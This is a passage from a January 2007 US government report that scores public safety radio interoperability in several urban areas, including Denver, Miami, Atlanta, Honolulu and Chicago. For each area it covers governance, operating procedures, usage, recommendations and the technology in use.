Command System (ICS) for less than one year, which implies that the UA is in the earlier stages of implementing NIMS/ICS policies and procedures. During the TICP validation exercise, participants demonstrated familiarity with NIMS/ICS processes (e.g., 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-21 January 2007 Tactical Interoperable Communications Scorecards established and clearly announced unified command, staging area designated and entry talk group announced), but have not yet established full proficiency in these processes (e.g., no ICS Form 205 was created, plain language not used). However, as stated in the post-exercise Improvement Plan, the UA is actively pursuing improvements in the Communications Unit Leader functions pending further development of the criteria for this position. Recommendations: • Further develop SOPs for the use of gateways • Continue regularly exercising SOPs that test various scenario-based command and control procedures • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Orange County UA regularly conducts multi-agency responses using its shared system. The TICP validation exercise participants were able to successfully establish interoperable communications (e.g., shared systems were used effectively, dispatch maintained fully interoperable communications with all first responders). Despite demonstrated successes and although the TICP validation exercise met set standards, broader state and federal agencies were not widely included. Assessing the degree to which the local agencies in the UA can easily use interoperable communications equipment with state and federal agencies was therefore limited. The UA is encouraged to build on its success by further integrating state, federal, and support agencies in future tests. Further demonstrating fluency and familiarity with interoperable communications solutions connecting local agencies with state and federal agencies would follow through on the recommendation in the post-exercise Improvement Plan that states that “Now that excellence with intra- county communications has been demonstrated, exercise and evaluate communications links with agencies from state, federal, and outlying jurisdictions on other radio systems.” Recommendations: • Consider expanding exercises to integrate state and federal entities • Continue to expand and/or document additional methods to interoperate with state and federal agencies in the UA (e.g., Naval Weapons Station) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Anaheim and Santa Ana, California public safety communications are supported by the Orange County’s 800 MHz mixed-mode trunked radio system. All public safety agencies in the Orange County UA have talk groups on this system, which includes 81 channels with 400 talk groups and 16,000 radios. Given that the current radio system in Orange County provides for the highest possible level of interoperability (shared system), the next step would be to upgrade to a countywide Project 25 system. Urban/Metropolitan Area A-22 January 2007 Tactical Interoperable Communications Scorecards Denver, CO Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Denver Urban Area (UA) includes the core city and county of Denver as well as agencies from Adams, Arapahoe, Boulder, Clear Creek, Douglas, Elbert, Gilpin, and Jefferson counties. This UA is also known as the North Central Region. Governance: Intermediate Implementation 10% 10%15% 15% The Denver UA (established in July 2003) has created a communications subcommittee to make key decisions and recommendations on interoperability. The committee appears to be extremely active (bi- monthly meetings) and most agencies in the UA participated in the Tactical Interoperable Communications Plan (TICP) process. Despite their regular activity, no formal charter binds the group with defined missions, responsibilities, and authorities. No additional steps have been taken to ensure that the work of the governing body is being actively adopted within the individual agencies and that agreements are put in place for agencies noted in the TICP. Leaders in the Denver UA appear to be making budget decisions based on the communications interoperability needs of the UA as a whole, but it is unclear whether their current approach to prioritize and sustain funding is sufficient to support their long-term interoperability goals (e.g., extending solutions to other jurisdictions). The Denver UA has completed the TICP; however, a strategic plan accepted by all stakeholders is not currently in place. The Denver UA developing a strategic plan would ensure that the area’s communications interoperability efforts are coordinated with the State’s initiatives. Recommendations: • Create a formal regional governance board to manage regional multidiscipline and agency communications and coordinate with state interoperability efforts and plans relating to interoperability • Continue to recruit and sign-on additional participants (e.g., additional emergency medical services, and public support agencies such as transportation and utilities, schools, and nearby Department of Defense facilities) to the agreements • Develop and publish a regional strategic plan (e.g., vision, objectives, funding, procurement strategy) and obtain acceptance from all participants • Ensure coordination of the strategic plan, once developed, with the state’s plan • Enhance the regional interoperability funding strategy and methods to include additional long-term (e.g., 3 to 5 years) funding sources in line with interoperability goals • Ensure buy-in for standardizing distribution of information to participating agencies • Increase the level of leadership participation in state and local jurisdictions that are outside of the city and county of Denver and adjoining county agencies, specifically the leadership of the Consolidated Communications Network of Colorado (CCNC) Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Denver UA has effectively used the TICP process to expand on existing interoperability procedures. The SOPs are regional in scope and are actively disseminated to agencies participating in communications planning in the area, providing a solid basis for implementation across the area. The Denver TICP 10% 10%15% 15% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-23 January 2007 Tactical Interoperable Communications Scorecards represented a collaborative effort with all agencies in the area and became the model upon which numerous other areas based their plans. Five training videos were also developed to help institutionalize regional procedures. This degree of training on SOPs indicates a strong commitment to ensuring SOPs adoption and should be considered a best practice. The UA has begun implementing National Incident Management System (NIMS)/Incident Command System (ICS) command and control policies and procedures, the TICP validation exercise demonstrated significant issues (e.g., use of proper ICS terminology, confusion about who was in charge of the incident or where that person was) with these procedures and therefore more training is recommended. Recommendations: • Distribute regional SOPs beyond the core city and county of Denver through training and exercise, and day-to-day usage • Ensure that interoperability materials (i.e., SOPs, training information) are being distributed from regional communications meetings to all of the jurisdictions’ first responders • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Denver UA regularly uses its two major shared systems, and the fixed gateway system is actively promoted and used weekly. Although some issues were encountered during the TICP validation exercise at the first responder level (e.g., radios for some agencies were not updated with appropriate channels, a radio cache request to dispatch was not fulfilled), the After Action Report indicated a “broad and largely effective use of interagency communications capabilities identified in the TICP.” For example, gateway technicians demonstrated proficiency in setting up and using the gateways, and users on each of the shared systems were able to effectively communicate within the coverage area of their systems. Recommendations: • Continue training and exercise of interagency communications to improve the ability of users to interoperate seamlessly with responders from other jurisdictions • Continue training on the fixed gateway system to improve familiarity with the capability • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The City of Denver and a number of agencies, primarily along the Interstate 70 corridor, use proprietary M/A-COM 800 megahertz (MHz) radio systems that are interlinked through a StarGate™ system that allows seamless roaming of approved talk groups across these systems. The State of Colorado operates the CCNC, a Project 25 (P25)-based 800 MHz system that serves state agencies and a number of local agencies, primarily east of the Rocky Mountains. CCNC is slowly being expanded throughout the state. A M/A-COM NetworkFirst™ gateway provides limited connectivity between these regional systems. The area’s estimated $100 million investment in Enhanced Digital Access Communications System equipment—some of it very recent—means this migration will take many years. In the interim, grant-funded subscriber equipment with a P25 mode for the M/A-COM systems is being purchased. Urban/Metropolitan Area A-24 January 2007 Tactical Interoperable Communications Scorecards Jacksonville, FL Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedure Established Implementation Usage: Advanced Implementation The Jacksonville Urban Area (UA) includes the City of Jacksonville and Duval County. Because homeland security issues in Florida are addressed by Regional Domestic Security Task Forces (RDSTF), the UA has been expanded to include first responder agencies within the RDSTF Region 3 (RDSTF3) area. The expanded area includes the counties of Alachua, Baker, Bradford, Clay, Duval, Flagler, Gilchrist, Levy, Marion, Nassau, Putnam, St. Johns, and Union. Governance: Established Implementation 15% 20% 20% 20% Communications interoperability planning for the Jacksonville UA occurs within the state-defined RDSTF3 (although Region 3 includes planning for areas in addition to the Jacksonville UA). The RDSTF3 communications subcommittee was in place before the development of the Tactical Interoperable Communications Plan (TICP) and includes a variety of local, state, and federal public safety and support agencies (e.g., utilities, Florida Department of Transportation, Federal Bureau of Investigation, and U.S. Coast Guard). The area has a mix of long-standing informal and formal mutual aid agreements and formal partnerships. The UA has not developed an interoperability strategic plan, but is currently working to develop a plan (beyond the operational focus of the TICP). The Jacksonville UA reported that the RDSTF3 would ensure that the strategic plan is consistent with statewide initiatives. Agencies within RDSTF3 hold annual funding meetings to develop their budgets and procure equipment with consideration for regional interoperability. Although the area established the shared system before receiving Urban Area Security Initiative funds and appears to have committed local resources to interoperability in the past, it is unclear whether future funding plans to sustain these systems are based on Department of Homeland Security grant monies or local resources. Through the significant executive membership (e.g., mayor, judge) in its governing body, the regional government leaders have demonstrated political and fiscal support. Recommendations: • Consider distributing a formal charter to all participating agencies • Establish processes to develop and review agreements (e.g., usage agreements, memoranda of understanding) at least every 3 to 5 years and after significant events or upgrades • Develop and document a regional strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance that takes into account a long-term (e.g. 3 to 5 years) communications funding strategy (in addition to grants) • Align local and state strategic planning efforts to ensure that regional interoperability needs are met Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Jacksonville UA incorporated existing informal interoperability policies and procedures (e.g., Florida Sheriffs’ Association, Florida Fire Chiefs, and the State of Florida Division of Emergency Management had emergency plans with interoperable communications elements) into the TICP. The UA was able to demonstrate familiarity with these regional interoperability SOPs during the exercise, but experienced some procedural problems (e.g., gateway activation and deactivation procedures were not followed) with available 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-25 January 2007 Tactical Interoperable Communications Scorecards equipment. The Jacksonville UA has been implementing the National Incident Management System (NIMS)/Incident Command System (ICS) for more than 6 months. Despite such a recent implementation, the participants were proactive and demonstrated proficiency with many command and control aspects related to interoperable communications during the exercise (e.g., designating both a Communications Unit Leader and communications technician), but could benefit from further NIMS/ICS training. Recommendations: • Document and distribute regional communications interoperability SOPs (beyond the TICP) and put them into practice through regular training (e.g., in-service refreshers and basic training courses), exercises, and usage • Consider developing policy on avoiding use of commercial services (e.g., cellular telephones) for mission-critical communications • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The Jacksonville UA primarily uses nine local and state shared systems for day-to-day interoperability and gateway systems (e.g., Florida Interoperability Network [FIN]) for interagency communications. The UA has demonstrated proficiency in using these resources during real-world events (e.g., Super Bowl XXXIX and multiple hurricanes throughout the area and state). Jacksonville officials indicated that further training is needed on how to best access and use communications and response resources that exist beyond the area (i.e., the State of Florida’s FIN and Florida’s Mutual Aid Resources usage process). The TICP validation exercise was large in scope and, despite a few minor problems (e.g., interrupted transmissions on shared channels because most responders were on one channel, and use of individual talk groups instead of broadcasting on a shared channel), the participants demonstrated that they can effectively communicate among agencies to handle a large-scale incident. Recommendations: • Encourage training on Mutual Aid Resources specific to interoperable communications and the FIN • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Jacksonville UA is supported by approximately 18 separate radio systems that include M/A-COM, Motorola, and EF Johnson conventional and trunked systems. These systems operate in the very high frequency (VHF), ultra high frequency, and 800 megahertz (MHz) bands. The City of Jacksonville operates an 800 MHz, Motorola SmartZone™, mixed mode system. Regional interoperability is supported by the FIN, the Statewide Law Enforcement Radio System (SLERS), cached radios, shared channels, and gateways. Statewide interoperability is achieved through the use of the SLERS and FIN. In conjunction with the Department of Justice, the Jacksonville UA has implemented a VHF repeater system using ACU-1000 fixed gateways to connect the Duval County First Coast 800 MHz system to the VHF systems used by federal agencies in the area. Of the 227 fixed gateways that are part of the FIN, approximately 30 are in the Jacksonville UA, along with approximately 11 mobile gateways. The planned 2007 grant request process includes initiatives to upgrade the Duval County First Coast 800 MHz system to a Project 25-compliant system and to acquire a transportable radio system equipped with a collapsible tower assembly. Urban/Metropolitan Area A-26 January 2007 Tactical Interoperable Communications Scorecards Miami, FL Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation The Miami Urban Area (UA) includes the Southeast (Florida) Regional Domestic Security Task Force (SERDSTF), which encompasses the cities of Miami and Fort Lauderdale, and the counties of Broward, Miami-Dade, Monroe, and Palm Beach. Governance: Intermediate Implementation 10% 10%15% 15% As noted in the exercise After Action Report, “it is clear…that there is a high degree of cooperation and coordination among the agencies in the Miami area.” This cooperation clearly supports the UA’s ability to excel across SOPs and usage, but does not provide a formalized structure for longer term interoperable communications planning. For the purpose of the Tactical Interoperable Communications Plan (TICP), the Miami UA has been expanded to include the SERDSTF, which is a formal body established by the State of Florida to address broad homeland security issues. Within the SERDSTF, the communications working group has the responsibility for recommending interoperability initiatives to be addressed through federal grants in the area. Despite the SERDSTF formalized processes to collect input from the communications working group, there doesn’t appear to be a charter formalizing the working group’s authority. Individual agencies make budget decisions independent of its recommendations. In addition, the documentation provided does not indicate that the Miami UA is conducting strategic planning specific to interoperable communications that would build upon the broad goals set forth in the Urban Area Homeland Security Strategic Plan. The development of a more focused interoperable communications strategic plan or annex would facilitate longer term budget planning for the region as a whole. Recommendations: • Review the limitations on active membership defined in the state guidelines to facilitate participation by necessary public support disciplines • Document the necessary agreements (e.g., memoranda of understanding) to achieve regional interoperability, and reference all applicable agreements in the TICP and store them in an accessible format • Suggest development of a regional strategic plan, obtain acceptance from all participants, and suggest a review and clarification of the communication subcommittee’s roles and responsibilities • Continue to aggressively seek funding sources for immediate and long-term interoperability needs while, at the same time, developing a regional plan to budget and prioritize funding for interoperable communications needs • Suggest reviewing whether the current governance structure can fully support strategic planning for the entire area, or whether alternatives should be considered Standard Operating Procedures (SOP): Advanced Implementation The Miami UA has a long history of successfully addressing communications challenges, as demonstrated by their established SOPs and regular use of interoperability equipment. The Miami Urban Area Security Initiative/SERDSTF has well-established SOPs dating back to the aftermath of Hurricane Andrew in 1992. 10% 10%15% 15% Urban/Metropolitan Area A-27 January 2007 Tactical Interoperable Communications Scorecards These SOPs have been successfully integrated into the TICP, with Miami taking the step of designing the TICP as an annex to its Terrorism Response Plan. The area has disseminated these policies to all participating agencies and to conduct regular interoperability training. The National Incident Management System (NIMS)/Incident Command System (ICS) was implemented more than 1 year ago and is integrated into regional SOPs. The UA demonstrated proficiency in these areas through its TICP validation exercise. For example, the Incident Commander established a unified command consisting of fire, emergency medical services, and law enforcement personnel. Additionally, the Communications Unit Leader was designated and announced to participants. Recommendation: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The Miami UA has demonstrated cooperation and the ability to work across all levels of government and all types of public safety responders. The City of Miami and Miami-Dade County interoperate on a daily basis via shared channels, gateways, and shared systems despite using disparate systems. In addition, state and federal agencies are regularly supported through the use of radio caches and/or gateways. The use of regional equipment by local, state, and federal agencies in the TICP validation exercise was described by the evaluators as “exemplary” (e.g., specific instructions were distributed with the radio caches, gateways and the Miami City shared system were effectively used). Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Miami UA has many agencies operating on trunked 800 megahertz (MHz) radio systems. These systems include both M/A-COM and Motorola proprietary products that do not directly support interoperability. The state is building out mutual aid channels in the ultra high frequency and 800 MHz bands. The state has implemented a Voice over Internet Protocol solution connecting nearly all public safety answering points. Miami-Dade County has started a process to migrate to a Project 25-compliant radio system. This will give the surrounding counties (Broward, Monroe, and Palm Beach) an opportunity to improve interoperability. In addition, all four counties are planning on establishing common talk groups/interoperability channels in each radio that is capable of communicating with the neighboring counties. Urban/Metropolitan Area A-28 January 2007 Tactical Interoperable Communications Scorecards Tampa Bay, FL Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Intermediate Implementation The Tampa Bay Urban Area (UA) includes Hillsborough and Pinellas counties and the cities of Tampa, St. Petersburg, and Clearwater. Governance: Established Implementation 15% 20% 20% 20% The Tampa Bay UA, led by the recommendations of its communications governance group, has increasingly considered communications interoperability a priority. Since 2003, the regional communications working group has been integrated within the Regional Domestic Security Task Force (RDSTF)—Region 4. While the group has been successful in focusing local leaders on the issue of communications interoperability, it was not clear whether the RDSTF structure provides the working group with enough formal authority and responsibility (outside of Department of Homeland Security grant decisions) to be effective in activities such as recruitment of state and federal representatives, development of formal agreements, and establishment of strategic plans. Published agreements exist to facilitate interoperability among some agencies. A strategic planning process is in place, but no regionally agreed-upon document has been produced and published to address present and future strategic interoperability efforts or to consider long-term funding strategies that address operating costs and funding sources in addition to grant funds. Recommendations: • Continue to practice on the established agreements (e.g., memoranda of understanding) to facilitate communications interoperability among first responder agencies • Continue the regional strategic planning process and obtain acceptance from all participants • Encourage a regional interoperability funding strategy, including long-term (e.g., 3 to 5 years) funding sources (in addition to grants) • Continue to broaden and champion a governance structure that would more fully support regional communications interoperability Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Tampa Bay UA has integrated formal and informal SOPs for most aspects of its interoperable communications into its Tactical Interoperable Communications Plan (TICP). The TICP represents the first set of regional interoperability SOPs and has been embraced by the area. The TICP is being regularly updated and disseminated to all agencies. Adherence to the Florida Interoperability Network (FIN) policies were an area of difficulty during the TICP validation exercise, perhaps because FIN policies are new and had not been added to the TICP nor practiced by participating agencies. Tampa Bay officials report that they are in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS) through training. NIMS principles appear to have been integrated into fire operations, but less so within the area’s law enforcement community. Additionally, the exercise evaluators noted that establishing unified command among incident commands was an issue, which limited the effectiveness of the Communications Unit Leader in managing the two incident sites. Recommendations: 10% 10%15% 15% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-29 January 2007 Tactical Interoperable Communications Scorecards • Continue to train, exercise, and review SOPs on a regular basis to increase consistency and proficiency across participating agencies • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% Multi-agency communications occur daily in the Tampa Bay UA on its two major shared 800 megahertz (MHz) systems, and console patches are regularly used to connect the City of Tampa Police Department’s disparate system. The Tampa Bay UA adequately demonstrated the ability to interoperate during what evaluators noted was a complex exercise. For example, gateways were effectively used at one of the exercise sites, but at the other site, participants had trouble connecting the gateway to FIN and a required tactical channel was not found on one of the consoles. As noted in the post-exercise Improvement Plan, additional training on the use of fixed gateways (specifically the newly implemented FIN) could be pursued to address identified gaps (e.g., difficulty establishing communications and in using the FIN for communications). Additionally, the reliance on commercial services for mission-critical communication was outside the scope of documented procedures. Recommendations: • Continue to train and exercise on available technology (e.g., gateways) to improve familiarity with and use of their interoperable communications capability • Consider developing policy on use and limitations of commercial services (e.g., cellular telephones) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Tampa Bay UA, designated as the RDSTF—Region 4 by the state, has many agencies operating on trunked, 800 MHz systems. These include both M/A-COM and Motorola systems that do not directly provide for interoperability. Additionally, distant counties rely on ultra high frequencies (UHF), both simplex and trunked, for their primary communications. The state is building out mutual aid channels in UHF and 800 MHz bands and has implemented a Voice over Internet Protocol solution connecting nearly all public safety answering points. The Tampa Police Department has initiated a process to migrate to a Project 25-compliant system. This will give the surrounding counties an opportunity to improve interoperability. Tampa Bay also applied for a United States Department of Justice Community Oriented Policing Services grant. Although the application was rejected, officials are planning to resubmit. Furthermore, a mobile 10-channel, 800 MHz trunked Motorola system in Pinellas County is also available to the UA. It has been extensively used in past years to support response and recovery operations for local and out-of-area hurricane damage. Urban/Metropolitan Area A-30 January 2007 Tactical Interoperable Communications Scorecards Atlanta, GA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Advanced Implementation The Atlanta Urban Area (UA) includes the City of Atlanta, Cobb County, Fulton County, and Dekalb County. Also participating in the UA are the Georgia Technology Authority and the Georgia Emergency Management Agency, state agencies that are providing procurement and oversight support. Six counties, including Douglas, Henry, Gwinnett, Clayton, Fayette, and Rockdale, will eventually be added to the plan. Governance: Intermediate Implementation 10% 10%15% 15% Communications interoperability issues in the Atlanta UA are governed by a Steering Committee consisting of representatives of the core jurisdictions of the City of Atlanta, Dekalb, and Fulton counties. The Steering Committee accepts recommendations directly from the All Hazards Council Area 7 Communications Subcommittee. This subcommittee has become more active in communications interoperability due to its involvement with the development of the Tactical Interoperable Communications Plan (TICP). While the subcommittee has a broad list of participating agencies, it is not clear whether this group of state, federal, and support organizations are included as officials subcommittee members. There are published and active agreements in place that facilitate communications interoperability with some agencies in the UA (e.g., mutual aid agreement in place among Cobb, Fulton, Georgia State Patrol, and City of Atlanta). In addition, the documentation provided indicates that the Atlanta UA is developing an interoperable communications strategy that would build upon the broad goals set forth in the Urban Area Homeland Security Strategic Plan, which was the basis for the TICP development. Once developed, the strategic plan will address interoperability beyond the operational focus of the TICP and the broader scope of the Urban Area Homeland Security Strategic Plan. It appears that current funding decisions are based on individual agency needs as opposed to regional priorities, which limits coordinated planning to meet longer term interoperability goals. The Atlanta UA leadership has been involved in the TICP process. For example, two city Mayors are involved in the All Hazards Council Area 7/UA Working Group. Recommendations: • Encourage public support, state, and federal agency participation (e.g., utilities) in the decision-making group and define roles and responsibilities • Establish processes to develop and review agreements (e.g., usage agreements, memoranda of understanding) at least every 3 to 5 years and after significant events or upgrades • Document and implement the regional strategic plan (beyond the operational focus of the TICP), with participant approval, adoption, and acceptance • Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met • Incorporate a regional interoperability funding strategy into the strategic plan, such as considering funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning efforts • Continue to broaden and champion a governance structure that would more fully support regional communications interoperability • Given the area’s progress to date, motivate broader acceptance of interoperability as both a political and fiscal priority for the area and state 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-31 January 2007 Tactical Interoperable Communications Scorecards Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Atlanta UA TICP was built on existing SOPs, including regional SOPs developed through the Department of Justice 25 Cities Project. The UA has taken numerous steps to disseminate the TICP to all participating agencies (e.g., distribute to dispatch centers and through TICP Implementation Workshop, available with gateways). The Atlanta UA has also already updated the plan since its submittal, including a newly implemented Project 25 (P25) system. Use of these communications interoperability SOPs were successfully demonstrated during the TICP validation exercise. The Atlanta UA has been implementing the National Incident Management System (NIMS)/Incident Command System (ICS) within the last year. Although the TICP validation exercise showed that both law and fire commanders were proficient in NIMS, it was noted in the After Action Report that law enforcement needs additional command and control training. It was notable that the Communications Unit Leader (COML) showed “extensive knowledge of his equipment and ways to create interoperable communications.” Recommendation: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The Atlanta UA has 26 separate radio systems that provide communications to first responder and support agencies. Despite this diverse infrastructure, the UA has been successful in using interoperable communications assets in its TICP validation exercise and real-world responses. Shared systems are used daily to provide multi-agency communications. The City of Atlanta and Fulton County operate separate 800 megahertz (MHz) infrastructure but share system keys. The Atlanta mobile gateway used in the exercise was pre-programmed, which evaluators noted as a best practice. Shared channels in the UA are reserved for situations requiring the coordination of multiple public safety agencies and were successfully used during the TICP validation exercise. The exercise included state and federal agencies—when the Federal Bureau of Investigation’s equipment failed, the Atlanta UA provided the Bureau with a cached radio to support communications. Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Atlanta UA has 26 separate radio systems that cover 9 counties, which is inclusive of the metropolitan Atlanta area. The UA also relies on NEXTEL and SouthernLINC Enhanced Special Mobile Radio commercial systems to support wireless voice and data communications. The City of Atlanta and Fulton County operate separate 800 MHz radio systems but share system keys enabling access by city and county representatives. Atlanta operates a Motorola 800 MHz SMARTNET™ Citywide Radio System supporting 18 separate local, state, and federal agencies. Regional interoperability is provided by the Motorola P25-compliant, 800 MHz ASTRO 25 system. The system is used exclusively to support interoperability among regional first responders. The Atlanta UA is reaching beyond its immediate jurisdictional footprint to embrace all nine counties that make up the metropolitan Atlanta All Hazard Fulton County Emergency Services (Area 7) Council footprint. It is the intent of UA planners to leverage the new systems and the current UA P25, Motorola ASTRO 25 800 MHz system to form the most effective interoperable communication strategy. This may include connecting new systems to the UA switch or leveraging/implementing other technology solutions to achieve regional interoperable communications. Urban/Metropolitan Area A-32 January 2007 Tactical Interoperable Communications Scorecards Honolulu, HI Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation The Honolulu Urban Area (UA) includes the city and county of Honolulu, which encompasses the island of Oahu. Governance: Intermediate Implementation 10% 10%15% 15% The Public Safety Oversight Committee (PSOC), established in 2002, provides governance on communications issues. The PSOC has become more formalized with an established charter in the last year and a half as a result of the Tactical Interoperable Communications Plan (TICP) mandate, and most agencies are now participating in the process. The UA has informal agreements in practice that facilitate communications interoperability. A memoranda of agreement has been drafted for first responders, and all participating agencies have agreed to sign the agreement except for Honolulu law enforcement. Additionally, regional memoranda of agreements (including an agreement with State Health) remain informal. The Honolulu UA has not developed a regional interoperability strategic plan, but is in the process of developing a plan. Local leaders have taken rapid steps to improve their interoperability through a series of communications tabletops. Although funding is still largely distributed for agency needs, Honolulu’s long-term planning through the 5-year capital plan and the fiscal coordination laid out in the TICP have set the stage for regionally coordinated improvements. Recommendations: • Work with the State Department of Health to establish an interoperability agreement with City of Honolulu for emergency medical services • Clarify that published and active agreements (e.g., memoranda of understanding) are in place among all necessary first responders and work to get any needed agreements implemented • Continue to develop the strategic plan that has already been initiated • Attempt to align local and state strategic planning efforts to ensure that a regional strategy has been established; also apply this regional approach to long-term (e.g., 3 to 5 years) interoperability funding and planning • Establish interoperability SOPs and associated training as a priority across the area Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The Honolulu UA achieved its first regionwide communications SOPs through the development of the TICP. The UA did not have policies and procedures in place before the development of the TICP. The new plan has been distributed to all agencies (e.g., distributed to dispatch centers and through TICP Implementation Workshop, available with gateways) and has been exercised. Officials indicated that they plan to build on this collaborative TICP effort to address communications with the surrounding islands. The National Incident Management System (NIMS)/Incident Command System (ICS) was mandated more than 1 year ago through the adoption of a city resolution, and training is being implemented to fully familiarize all personnel. Although the TICP validation exercise demonstrated difficulty in establishing unified command (e.g., there 10% 10%15% 15% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-33 January 2007 Tactical Interoperable Communications Scorecards was a lack of clear delineation of roles and responsibilities within the ICS organizational chart), the UA has taken adequate steps to integrate the Communications Unit Leader position into a multi-agency response. Recommendations: • Incorporate TICP policies, practices, and procedures into regionwide public safety training curriculum • Incorporate After Action Report changes and post-exercise Improvement Plan recommendations into the existing TICP • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% Through the cooperation fostered by the TICP process, the Honolulu UA has increasingly used interoperable communications solutions (e.g., radio cache, shared channels, gateways, shared systems). Honolulu Police and Fire now operate on a shared system and have implemented shared talk groups that are frequently used. The TICP validation exercise exposed some load issues with their shared system, as well as problems with gateways critical to multi-agency communications (especially with state and federal agencies) on the island. Despite the minor problems, local first responders were able to interoperate via City of Honolulu’s shared system. Recommendations: • Train regional communications specialists in interoperability solution capabilities (e.g., tactical use of talk groups) to more effectively communicate during an incident • Increase the frequency of use of the mobile and fixed gateways available to responders • Seek opportunities to incorporate mobile and fixed gateways through regular tests, planned events, and exercises • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Honolulu UA’s first responders operate on a 800 megahertz (MHz) M/A-COM Enhanced Digital Access Communications System (EDACS™) trunked radio system. Several public safety agencies in the UA use this system, including Honolulu Police Department, Honolulu Fire Department, Emergency Services Department, Department of Information Technology, Oahu Civil Defense Agency, and Department of Transportation Services. However, interoperability is needed with other shared systems, including the ultra high frequency (UHF) system that supports the State Department of Health, hospitals, medical centers, and the U.S. Coast Guard (USCG); the UHF Pacific Mobile Emergency Radio System (PACMERS) supporting Department of Defense (DoD) agencies; and two very high frequency (VHF) systems supporting federal and state agencies. Interoperable communications is provided through shared and command-level talk groups. City and state agencies also maintain five mobile and two fixed ACU-1000 gateway systems. Voice interoperability between the city and county of Honolulu (800 MHz) and state and federal agencies (UHF and VHF High Band) is primarily provided through these gateway solutions and/or a shared VHF channel. Interoperability between city response agencies and the USCG is provided via a gateway on a Free Space Optic link and through a dedicated USCG talk group on the City's 800 MHz EDACS shared system. Interoperability among PACMERS users and the city and county of Honolulu is provided through two fixed gateway solutions. Urban/Metropolitan Area A-34 January 2007 Tactical Interoperable Communications Scorecards Chicago, IL Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Early Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation The Chicago Urban Area (UA) includes the City of Chicago and Cook County, including 128 municipalities. Governance: Early Implementation 10%5% 5% 5% Through the UA Working Group, the UA is starting to take steps necessary to address long-standing technical and operational issues among public safety organizations in the Chicago UA. While interoperability is presently a top priority in the UA and is being addressed, the area has a great deal of historical challenges to overcome. As reported in the overview of the Tactical Interoperable Communications Plan (TICP), “[t]he City of Chicago and Cook County for decades have been developing very extensive and expensive legacy radio communications systems independently, and without considering the concept of interoperable communications.” Governance for communications within the Chicago UA has been assigned to a Communications Subcommittee. The group has not been formalized and initially was divided between a City of Chicago Working Group and a Cook County Working Group. The TICP Peer Review recommended that the group “strongly consider merging the multiple working groups into one governance organization or clarifying how issues of disagreement between Cook County and Chicago working groups are/will be addressed.” Agreements are largely informal, and the city’s process for developing and confirming the agreements differs from the process in Cook County. Efforts have begun to develop a strategic plan for the UA; however, this effort is at an early stage and will require coordination between the city and county to be successful. A regional approach to interoperability funding does not appear to be a priority (e.g., communications equipment is procured largely based on agency-specific needs). Leaders within the City of Chicago and Cook County have been independently very supportive of the communications interoperability issue (e.g., Cook County is developing a shared system supporting numerous municipalities), but could still continue efforts to come together at 